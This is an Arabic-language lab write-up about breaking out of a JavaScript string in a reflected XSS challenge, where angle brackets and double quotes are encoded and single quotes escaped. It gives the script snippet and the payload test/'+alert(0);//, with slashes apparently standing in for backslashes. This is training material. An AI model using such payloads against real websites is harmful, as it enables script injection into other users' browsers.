> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xss/xss-in-a-javascript-string-with-encoded-angle-brackets-encoded-double-quotes-and-escaped-apostrophe.md).

# XSS في سلسلة JavaScript مع أقواس زاوية مرمّزة، وعلامات اقتباس مزدوجة مرمّزة، وفاصلة عليا مُهربة

### حقن XSS منعكس داخل سلسلة JavaScript مع ترميز علامات الزاوية والاقتباسات المزدوجة بصيغة HTML، وهروب الاقتباسات المفردة

تحتوي هذه المختبر على ثغرة XSS منعكسة: يتم إدراج قيمة البحث في سلسلة JavaScript. `<`/`>` كما يتم ترميز علامات الاقتباس المزدوجة بصيغة HTML، ويتم إخفاء الاقتباسات المفردة. الهدف: الخروج من سلسلة JavaScript واستدعاء `alert()`.

مقتطف من البرنامج النصي المُلاحَظ

```javascript
var searchTerms = '&lt;/h1&gt;/'';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
```

القيود المُلاحَظة

* علامة الاقتباس المفردة البسيطة يتم إخفاؤها (`/'`).

```javascript
test'
```

<figure><img src="/files/927065fad5ad12bd01782eed28ef8539b9529be3" alt=""><figcaption></figcaption></figure>

الحمولة المقدمة

<figure><img src="/files/55807f9a08bf5e406c5e066531696e6ceffb9d1f" alt=""><figcaption></figcaption></figure>

```javascript
test/'+alert(0);//
```

<figure><img src="/files/1437fb96d08c105d12811fe7fb8fc12e0c368cf1" alt=""><figcaption></figcaption></figure>


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